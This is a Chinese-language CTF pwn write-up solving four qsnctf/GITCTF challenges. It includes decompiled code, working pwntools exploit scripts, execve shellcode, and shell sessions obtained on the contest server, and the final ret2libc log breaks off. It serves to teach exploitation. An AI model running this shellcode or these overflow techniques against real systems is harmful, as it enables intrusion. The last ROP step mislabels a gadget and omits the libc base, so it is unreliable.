Post

qsnctf Pwn复盘

难度-Easy

qsnctf Pwn复盘

第一题目 赌书消得泼茶香

实践是检验真理的唯一标准! 继续查看附件找方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  size_t v3; // rax
  size_t v4; // rax
  _BYTE v6[8]; // [rsp+8h] [rbp-168h] BYREF
  char s[256]; // [rsp+10h] [rbp-160h] BYREF
  _BYTE dest[88]; // [rsp+110h] [rbp-60h] BYREF
  void *src; // [rsp+168h] [rbp-8h]

  sub_401437(a1, a2, a3);
  puts("How are you feeling right now?");
  __isoc99_scanf("%s", s);
  v3 = strlen(s);
  src = (void *)sub_401320(s, v3, v6);
  if ( src )
  {
    puts("You win.");
    v4 = strlen(s);
    memcpy(dest, src, v4 + 1);
  }
  else
  {
    puts("Gambling with books is worthy of the aroma of tea, as if splashed about.");
  }
  return 0LL;
}

先找一下后门地址

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:000000000040141D sub_40141D      proc near
.text:000000000040141D ; __unwind {
.text:000000000040141D                 endbr64
.text:0000000000401421                 push    rbp
.text:0000000000401422                 mov     rbp, rsp
.text:0000000000401425                 lea     rax, command    ; "/bin/sh"
.text:000000000040142C                 mov     rdi, rax        ; command
.text:000000000040142F                 call    _system
.text:0000000000401434                 nop
.text:0000000000401435                 pop     rbp
.text:0000000000401436                 retn
.text:0000000000401436 ; } // starts at 40141D
.text:0000000000401436 sub_40141D      endp

可以看到/bin/sh为:401425,看主函数存在溢出所以直接看偏移量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
_BYTE *__fastcall sub_401320(__int64 a1, unsigned __int64 a2, __int64 *a3)
{
  _BYTE *v5; // [rsp+28h] [rbp-28h]
  __int64 v6; // [rsp+38h] [rbp-18h]
  unsigned __int64 v7; // [rsp+40h] [rbp-10h]
  __int64 size; // [rsp+48h] [rbp-8h]

  size = 3 * (a2 >> 2);
  if ( *(_BYTE *)(a2 - 1 + a1) == 61 )
    --size;
  if ( *(_BYTE *)(a2 - 2 + a1) == 61 )
    --size;
  v5 = malloc(size);
  if ( !v5 )
    return 0LL;
  v7 = 0LL;
  v6 = 0LL;
  while ( v7 < a2 )
  {
    sub_401260((char *)(a1 + v7), &v5[v6]);
    v7 += 4LL;
    v6 += 3LL;
  }
  *a3 = size;
  return v5;
}

偏移量看不出,看看401320函数写了什么,核心解码器,将 4 字符 Base64 块转换为 3 字节原始数据,无缓冲区检查​​:若输入长度 a2 非 4 的倍数(如非法 Base64 数据),循环可能越界访问(a1 + v7 超出边界)

1
2
-0000000000000168     _BYTE var_168[8];
-0000000000000160     char s;

就差偏移量了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ objdump -d ./pwn02 | grep "ret"
  40101a:       c3                      ret
  401164:       c3                      ret
  401190:       c3                      ret
  4011d0:       c3                      ret
  4011fe:       c3                      ret
  401200:       c3                      ret
  40125f:       c3                      ret
  40131f:       c3                      ret
  401403:       c3                      ret
  40141c:       c3                      ret
  401436:       c3                      ret
  40147d:       c3                      ret
  401546:       c3                      ret
  401554:       c3                      ret

ret 的地址有了40101a,s[256] rbp-0x160 256 存储用户输入, dest[88] rbp-0x60 88 溢出目标缓冲区,​返回地址​​ rbp+0x8 8 被覆盖导致崩溃的关键位置

也就是说溢出为0x60叫0x8的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
└─$ python3 exp2.py
[+] Starting local process './pwn02': pid 857
[*] Switching to interactive mode

$ id
You win.
$ id
uid=1000(lingmj) gid=1000(lingmj) groups=1000(lingmj),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users)
$ ls -al
total 44
drwxr-xr-x  3 lingmj lingmj  4096 Jun 23 14:07 .
drwx------ 16 lingmj lingmj  4096 Jun 23 14:07 ..
drwxr-xr-x  3 lingmj lingmj  4096 Jun 21 13:39 BlindWaterMark
-rw-r--r--  1 lingmj lingmj   224 Jun 21 10:41 exp1.py
-rw-r--r--  1 lingmj lingmj   272 Jun 23 14:07 exp2.py
-rw-r--r--  1 lingmj lingmj   344 Jun 21 09:55 exp.py
-rw-------  1 lingmj lingmj   153 Jun 23 13:56 .gdb_history
-rwxr-xr-x  1 lingmj lingmj 14568 Jun 23 13:19 pwn02
$

本地调试成功了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
import base64
import re

p = process('./pwn02')

ret = 0x40101a
binsh = 0x40141D

a = p.recvuntil(b'now?').decode()

payload = b'A'*0x60 + b'A'*0x8 + p64(ret) + p64(binsh)

base_payload = base64.b64encode(payload)

p.send(base_payload)

p.interactive()

还好就是编码难一点

第二题目 我觉君非池中物,咫尺蛟龙云雨

just do it,继续先查看附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE s[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  setbuf(stdout, 0LL);
  mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
  memset(s, 0, 0x20uLL);
  puts("The yellow leaves rustle and close the sparsely arranged window.");
  read(0, &buff, 0x20uLL);
  ((void (*)(void))buff)();
  return 0;
}

read(0, &buff, 0x20uLL); // 从标准输入读取32字节到buff ((void (*)(void))buff)(); // 将buff内容当作函数执行 高危操作​​:buff可能是全局变量(未在代码中显式定义),存储用户输入的32字节数据。直接将其强制转换为函数指针并调用,​​允许输入任意机器码(Shellcode)​​。

好了找到对应的操作路线

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
    0x555555554000     0x555555555000 r--p     1000       0 pwn
    0x555555555000     0x555555556000 r-xp     1000    1000 pwn
    0x555555556000     0x555555557000 r--p     1000    2000 pwn
    0x555555557000     0x555555558000 r--p     1000    2000 pwn
    0x555555558000     0x555555559000 rwxp     1000    3000 pwn
    0x7ffff7db0000     0x7ffff7db3000 rw-p     3000       0 [anon_7ffff7db0]
    0x7ffff7db3000     0x7ffff7ddb000 r--p    28000       0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7ddb000     0x7ffff7f40000 r-xp   165000   28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7f40000     0x7ffff7f96000 r--p    56000  18d000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7f96000     0x7ffff7f9a000 r--p     4000  1e2000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7f9a000     0x7ffff7f9c000 rw-p     2000  1e6000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7f9c000     0x7ffff7fa9000 rw-p     d000       0 [anon_7ffff7f9c]
    0x7ffff7fbf000     0x7ffff7fc1000 rw-p     2000       0 [anon_7ffff7fbf]
    0x7ffff7fc1000     0x7ffff7fc5000 r--p     4000       0 [vvar]
    0x7ffff7fc5000     0x7ffff7fc7000 r-xp     2000       0 [vdso]
    0x7ffff7fc7000     0x7ffff7fc8000 r--p     1000       0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fc8000     0x7ffff7ff0000 r-xp    28000    1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ff0000     0x7ffff7ffb000 r--p     b000   29000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000   34000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000   36000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000       0 [anon_7ffff7ffe]
    0x7ffffffde000     0x7ffffffff000 rw-p    21000       0 [stack]

可以看到0x555555558000 0x555555559000 rwxp 1000 3000 pwn 是可读可写可执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
└─$ python exp2.py
[DEBUG] cpp -C -nostdinc -undef -P -I/usr/lib/python3/dist-packages/pwnlib/data/includes
[DEBUG] Assembling
    .section .shellcode,"awx"
    .global _start
    .global __start
    _start:
    __start:
    .intel_syntax noprefix
    .p2align 0
        xor rsi, rsi; # \U00006e05\U00007a7arsi\U0000ff08argv\U0000ff09
        push rsi; # \U00005b57\U00007b26\U00004e32\U00007ec8\U00006b62\U00007b26
        mov rdi, 0x68732f6e69622f2f; # "/bin//sh"
        push rdi; # \U0000538b\U00005165\U00005b57\U00007b26\U00004e32
        push rsp; # \U00006808\U00009876\U00004f5c\U00004e3a\U00005b57\U00007b26\U00004e32\U00006307\U00009488
        pop rdi; # rdi = "/bin//sh"\U00005730\U00005740
        push 0x3b; # execve\U00007cfb\U00007edf\U00008c03\U00007528\U000053f7
        pop rax; # rax = 59
        cdq; # \U00006e05\U00007a7ardx\U0000ff08envp\U0000ff09
        syscall; # \U000089e6\U000053d1\U00007cfb\U00007edf\U00008c03\U00007528
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-keqzsvyp/step2 /tmp/pwn-asm-keqzsvyp/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-keqzsvyp/step3 /tmp/pwn-asm-keqzsvyp/step4
[DEBUG] cpp -C -nostdinc -undef -P -I/usr/lib/python3/dist-packages/pwnlib/data/includes
[DEBUG] Assembling
    .section .shellcode,"awx"
    .global _start
    .global __start
    _start:
    __start:
    .intel_syntax noprefix
    .p2align 0
    sub rsp, 16;
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-l7ixsugk/step2 /tmp/pwn-asm-l7ixsugk/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-l7ixsugk/step3 /tmp/pwn-asm-l7ixsugk/step4
[+] Starting local process './pwn' argv=[b'./pwn'] : pid 1150
[DEBUG] Sent 0x20 bytes:
    00000000  48 83 ec 10  48 31 f6 56  48 bf 2f 2f  62 69 6e 2f  │H···│H1·V│H·//│bin/│
    00000010  73 68 57 54  5f 6a 3b 58  99 0f 05 90  90 90 90 90  │shWT│_j;X│····│····│
    00000020
[*] Switching to interactive mode
[DEBUG] Received 0x41 bytes:
    b'The yellow leaves rustle and close the sparsely arranged window.\n'
The yellow leaves rustle and close the sparsely arranged window.
$ id
[DEBUG] Sent 0x3 bytes:
    b'id\n'
[DEBUG] Received 0x6f bytes:
    b'uid=1000(lingmj) gid=1000(lingmj) groups=1000(lingmj),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users)\n'
uid=1000(lingmj) gid=1000(lingmj) groups=1000(lingmj),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users)
$ ls -al
[DEBUG] Sent 0x7 bytes:
    b'ls -al\n'
[DEBUG] Received 0x20a bytes:
    b'total 2312\n'
    b'drwxr-xr-x  3 lingmj lingmj    4096 Jun 23 14:42 .\n'
    b'drwx------ 16 lingmj lingmj    4096 Jun 23 14:42 ..\n'
    b'-rw-------  1 lingmj lingmj     413 Jun 23 14:42 .gdb_history\n'
    b'drwxr-xr-x  3 lingmj lingmj    4096 Jun 21 13:39 BlindWaterMark\n'
    b'-rw-------  1 lingmj lingmj 2494464 Jun 23 14:34 core.1047\n'
    b'-rw-r--r--  1 lingmj lingmj     344 Jun 21 09:55 exp.py\n'
    b'-rw-r--r--  1 lingmj lingmj     224 Jun 21 10:41 exp1.py\n'
    b'-rw-r--r--  1 lingmj lingmj     882 Jun 23 14:42 exp2.py\n'
    b'-rwxr-xr-x  1 lingmj lingmj   16336 Jun 23 14:17 pwn\n'
total 2312
drwxr-xr-x  3 lingmj lingmj    4096 Jun 23 14:42 .
drwx------ 16 lingmj lingmj    4096 Jun 23 14:42 ..
-rw-------  1 lingmj lingmj     413 Jun 23 14:42 .gdb_history
drwxr-xr-x  3 lingmj lingmj    4096 Jun 21 13:39 BlindWaterMark
-rw-------  1 lingmj lingmj 2494464 Jun 23 14:34 core.1047
-rw-r--r--  1 lingmj lingmj     344 Jun 21 09:55 exp.py
-rw-r--r--  1 lingmj lingmj     224 Jun 21 10:41 exp1.py
-rw-r--r--  1 lingmj lingmj     882 Jun 23 14:42 exp2.py
-rwxr-xr-x  1 lingmj lingmj   16336 Jun 23 14:17 pwn
$

ai一把梭哈了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

# 1. 生成无空字节Shellcode(27字节)
shellcode = asm('''
    xor rsi, rsi;          # 清空rsi(argv)
    push rsi;               # 字符串终止符
    mov rdi, 0x68732f6e69622f2f;  # "/bin//sh"
    push rdi;               # 压入字符串
    push rsp;               # 栈顶作为字符串指针
    pop rdi;                # rdi = "/bin//sh"地址
    push 0x3b;              # execve系统调用号
    pop rax;                # rax = 59
    cdq;                    # 清空rdx(envp)
    syscall;                # 触发系统调用
''')

# 2. 栈对齐修复 + 填充至32字节
shellcode = asm('sub rsp, 16;') + shellcode.ljust(0x20 - 4, b'\x90')  # 4字节对齐指令 + NOP填充

# 3. 发送Payload
p = remote("challenge.qsnctf.com", 30725)
p.send(shellcode)
p.interactive()  # 进入交互式Shell

buff内存(0x555555558060)内容为0x76 0x6d 0x6d 0x61 0x70 0x0a 0x00…,包含空字节(\x00),使用​​无空字节的精简Shellcode​​,buff位于0x555555558000-0x555555559000,权限为rwxp(可执行),无需额外跳转,在Shellcode前添加sub rsp, 16平衡栈

1
2
3
4
5
pwndbg> x/32bx &buff
0x555555558060 <buff>:  0x76    0x6d    0x6d    0x61    0x70    0x0a    0x00    0x00
0x555555558068 <buff+8>:        0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x555555558070 <buff+16>:       0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x555555558078 <buff+24>:       0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

第三题 借的东风破金锁

我嘞个经典栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall main(int argc, const char **argv, const char **envp)
{
  _QWORD buf[4]; // [rsp+10h] [rbp-20h] BYREF

  buf[3] = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts("[+]Welcome to SQNUCTF !");
  printf("[+] Input your key: ");
  read(0, buf, 0x10uLL);
  if ( buf[0] == auth_code )
    backdoor();
  else
    puts("[-] Authentication failed!");
  return 0;
}

存在backdoor看看什么条件能会进入这个判断

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:000000000000124E backdoor        proc near               ; CODE XREF: main+80↓p
.text:000000000000124E ; __unwind {
.text:000000000000124E                 endbr64
.text:0000000000001252                 push    rbp
.text:0000000000001253                 mov     rbp, rsp
.text:0000000000001256                 lea     rax, command    ; "/bin/sh"
.text:000000000000125D                 mov     rdi, rax        ; command
.text:0000000000001260                 call    _system
.text:0000000000001265                 nop
.text:0000000000001266                 pop     rbp
.text:0000000000001267                 retn
.text:0000000000001267 ; } // starts at 124E
.text:0000000000001267 backdoor        endp

就是判断这个东西是否等于这个auth_code

1
2
.data:0000000000004010 auth_code       dq 53514E55435446h      ; DATA XREF: main+6F↑r
.data:0000000000004010 _data           ends

53514E55435446h(十六进制),转换为十进制为 0x53514E55435446。若按 ASCII 解码,其字节序列 53 51 4E 55 43 54 46 对应字符串 ​​SQNUCTF​​(大写字母的 ASCII 编码),可以看出是它本身

1
2
3
4
└─$ ./key
[+]Welcome to SQNUCTF !
[+] Input your key: SQNUCTF
[-] Authentication failed!

还是有点问题哈哈哈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
└─$ python exp2.py
[+] Opening connection to challenge.qsnctf.com on port 31777: Done
[DEBUG] Received 0x17 bytes:
    b'[+]Welcome to SQNUCTF !'
[DEBUG] Received 0x15 bytes:
    b'\n'
    b'[+] Input your key: '
[+]Welcome to SQNUCTF !
[+] Input your key:
[DEBUG] Sent 0x8 bytes:
    b'SQNUCTF\n'
[*] Switching to interactive mode
 [DEBUG] Received 0x1a bytes:
    b'[-] Authentication failed!'
[-] Authentication failed![DEBUG] Received 0x1 bytes:
    b'\n'

[*] Got EOF while reading in interactive
$ ls -al
[DEBUG] Sent 0x7 bytes:
    b'ls -al\n'
$ ls -al
[DEBUG] Sent 0x7 bytes:
    b'ls -al\n'
[*] Closed connection to challenge.qsnctf.com port 31777
[*] Got EOF while sending in interactive

确实是不行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
└─$ python exp2.py
[+] Opening connection to challenge.qsnctf.com on port 31777: Done
[DEBUG] Received 0x17 bytes:
    b'[+]Welcome to SQNUCTF !'
[DEBUG] Received 0x15 bytes:
    b'\n'
    b'[+] Input your key: '
[+]Welcome to SQNUCTF !
[+] Input your key:
[DEBUG] Sent 0x12 bytes:
    b'0x53514E55435446h\n'
[*] Switching to interactive mode
 [DEBUG] Received 0x1a bytes:
    b'[-] Authentication failed!'
[-] Authentication failed![*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to challenge.qsnctf.com port 31777

┌──(lingmj㉿LingMj)-[~/xxoo]
└─$ vim exp2.py

┌──(lingmj㉿LingMj)-[~/xxoo]
└─$ python exp2.py
[+] Opening connection to challenge.qsnctf.com on port 31777: Done
[DEBUG] Received 0x17 bytes:
    b'[+]Welcome to SQNUCTF !'
[DEBUG] Received 0x15 bytes:
    b'\n'
    b'[+] Input your key: '
[+]Welcome to SQNUCTF !
[+] Input your key:
[DEBUG] Sent 0x11 bytes:
    b'0x53514E55435446\n'
[*] Switching to interactive mode
 [DEBUG] Received 0x1a bytes:
    b'[-] Authentication failed!'
[-] Authentication failed![*] Got EOF while reading in interactive
$ ls -al
[DEBUG] Sent 0x7 bytes:
    b'ls -al\n'
[*] Closed connection to challenge.qsnctf.com port 31777
[*] Got EOF while sending in interactive

还是不行,奥我知道了不是发地址是发地址内容应该是p64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
└─$ python exp2.py
[+] Opening connection to challenge.qsnctf.com on port 31777: Done
[DEBUG] Received 0x17 bytes:
    b'[+]Welcome to SQNUCTF !'
[DEBUG] Received 0x15 bytes:
    b'\n'
    b'[+] Input your key: '
[+]Welcome to SQNUCTF !
[+] Input your key:
[DEBUG] Sent 0x9 bytes:
    00000000  46 54 43 55  4e 51 53 00  0a                        │FTCU│NQS·│·│
    00000009
[*] Switching to interactive mode
 $ ls -al
[DEBUG] Sent 0x7 bytes:
    b'ls -al\n'
[DEBUG] Received 0x28c bytes:
    b'total 40\n'
    b'drwxr-x---. 1 0 1000    18 Jun 23 07:03 .\n'
    b'drwxr-x---. 1 0 1000    18 Jun 23 07:03 ..\n'
    b'-rwxr-x---. 1 0 1000   220 Jan  6  2022 .bash_logout\n'
    b'-rwxr-x---. 1 0 1000  3771 Jan  6  2022 .bashrc\n'
    b'-rwxr-x---. 1 0 1000   807 Jan  6  2022 .profile\n'
    b'drwxr-x---. 1 0 1000    37 Mar 27 07:11 bin\n'
    b'drwxr-x---. 1 0 1000    59 Mar 27 07:11 dev\n'
    b'-rwxr-----. 1 0 1000    39 Jun 23 07:03 flag\n'
    b'-rwxr-x---. 1 0 1000 16408 Apr  1 12:24 key\n'
    b'drwxr-x---. 1 0 1000   249 Mar 27 07:11 lib\n'
    b'drwxr-x---. 1 0 1000  4096 Mar 27 07:11 lib32\n'
    b'drwxr-x---. 1 0 1000    34 Mar 27 07:11 lib64\n'
    b'drwxr-x---. 1 0 1000    35 Mar 27 07:11 libexec\n'
    b'drwxr-x---. 1 0 1000     6 Mar 27 07:11 libx32\n'
total 40
drwxr-x---. 1 0 1000    18 Jun 23 07:03 .
drwxr-x---. 1 0 1000    18 Jun 23 07:03 ..
-rwxr-x---. 1 0 1000   220 Jan  6  2022 .bash_logout
-rwxr-x---. 1 0 1000  3771 Jan  6  2022 .bashrc
-rwxr-x---. 1 0 1000   807 Jan  6  2022 .profile
drwxr-x---. 1 0 1000    37 Mar 27 07:11 bin
drwxr-x---. 1 0 1000    59 Mar 27 07:11 dev
-rwxr-----. 1 0 1000    39 Jun 23 07:03 flag
-rwxr-x---. 1 0 1000 16408 Apr  1 12:24 key
drwxr-x---. 1 0 1000   249 Mar 27 07:11 lib
drwxr-x---. 1 0 1000  4096 Mar 27 07:11 lib32
drwxr-x---. 1 0 1000    34 Mar 27 07:11 lib64
drwxr-x---. 1 0 1000    35 Mar 27 07:11 libexec
drwxr-x---. 1 0 1000     6 Mar 27 07:11 libx32

好了,不过要去掉h因为太长了内存不符合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
import re

context(arch='amd64', os='linux', log_level='debug')

p = remote("challenge.qsnctf.com", 31777)

a = p.recvuntil(b"key:").decode()

print(a)

payload = p64(0x53514E55435446)

p.sendline(payload)

p.interactive()

ok下一道题

第四题目 libc1

这个可能难一点

1
2
-rw-r--r--  1 lingmj lingmj   13960 Jun 23 15:15 libc
-rw-r--r--  1 lingmj lingmj 2029592 Jun 23 15:15 libc6.so

给了两个文件调试可能有点不会

1
2
3
4
5
6
7
int __fastcall main(int argc, const char **argv, const char **envp)
{
  puts("Welcome to the GITCTF!");
  vulnerable_function("Welcome to the GITCTF!");
  puts("Failed to exploit? Program exiting normally.");
  return 0;
}

直接执行程序?

1
2
​​关键函数 vulnerable_function​​:
函数名明确暗示其存在安全漏洞(如缓冲区溢出),并传入欢迎信息字符串作为参数。这可能是攻击者利用的目标,通过覆盖返回地址或篡改程序流实现控制权夺取(例如跳转到 system("/bin/sh") 等恶意代码

看看咋利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
pwndbg> run
Starting program: /home/lingmj/xxoo/libc
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to the GITCTF!
Leak time! puts is at: 0x7ffff7e335a0
Tell me something interesting:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
You told me: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Program received signal SIGSEGV, Segmentation fault.
0x000000000040120c in vulnerable_function ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────────────
 RAX  0xd6
 RBX  0x7fffffffdf98 —▸ 0x7fffffffe23d ◂— '/home/lingmj/xxoo/libc'
 RCX  0
 RDX  0
 RDI  0x7fffffffdc00 —▸ 0x7fffffffdc30 ◂— 'd8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag\nc4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7A'
 RSI  0x7fffffffdc30 ◂— 'd8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag\nc4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7A'
 R8   0
 R9   0
 R10  0
 R11  0x202
 R12  0
 R13  0x7fffffffdfa8 —▸ 0x7fffffffe254 ◂— 'SHELL=/bin/bash'
 R14  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe310 ◂— 0
 R15  0
 RBP  0x4134654133654132 ('2Ae3Ae4A')
 RSP  0x7fffffffde68 ◂— 'e5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag'
 RIP  0x40120c (vulnerable_function+134) ◂— ret
──────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────────────────────
 ► 0x40120c <vulnerable_function+134>    ret                                <0x3765413665413565>
    ↓









───────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffde68 ◂— 'e5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag'
01:0008│     0x7fffffffde70 ◂— 'Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag'
02:0010│     0x7fffffffde78 ◂— '0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag'
03:0018│     0x7fffffffde80 ◂— 'f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag'
04:0020│     0x7fffffffde88 ◂— 'Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag'
05:0028│     0x7fffffffde90 ◂— '8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag'
06:0030│     0x7fffffffde98 ◂— 'g1Ag2Ag3Ag4Ag5Ag'
07:0038│     0x7fffffffdea0 ◂— 'Ag4Ag5Ag'

└─$ msf-pattern_offset -q e5Ae6
[*] No exact matches, looking for likely candidates...

┌──(lingmj㉿LingMj)-[~/xxoo]
└─$ msf-pattern_offset -q e5Ae
[*] Exact match at offset 136

┌──(lingmj㉿LingMj)-[~/xxoo]
└─$

偏移量为136

1
2
└─$ readelf -s libc6.so | grep " system"
  1430: 0000000000052290    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5

地址有了system = 52290

1
2
3
4
5
6
└─$ ROPgadget --binary libc --only "pop rdi|ret"
/usr/local/bin/ROPgadget:4: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  __import__('pkg_resources').run_script('ROPGadget==7.6', 'ROPgadget')
Gadgets information
============================================================
0x000000000040101a : ret

有了pop_rdi_ret地址 0x40101a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
└─$ python3 exp2.py
[+] Starting local process './libc' argv=[b'./libc'] : pid 1666
[*] '/home/lingmj/xxoo/libc'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[*] '/home/lingmj/xxoo/libc6.so'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[DEBUG] Received 0x5c bytes:
    b'Welcome to the GITCTF!\n'
    b'Leak time! puts is at: 0x7fbed649c5a0\n'
    b'Tell me something interesting:\n'
[DEBUG] Sent 0xa1 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000080  41 41 41 41  41 41 41 41  1a 10 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000090  bd 45 1b 00  00 00 00 00  90 22 05 00  00 00 00 00  │·E··│····│·"··│····│
    000000a0  0a                                                  │·│
    000000a1
[*] Switching to interactive mode

Leak time! puts is at: 0x7fbed649c5a0
Tell me something interesting:
[DEBUG] Received 0x99 bytes:
    00000000  59 6f 75 20  74 6f 6c 64  20 6d 65 3a  20 41 41 41  │You │told│ me:│ AAA│
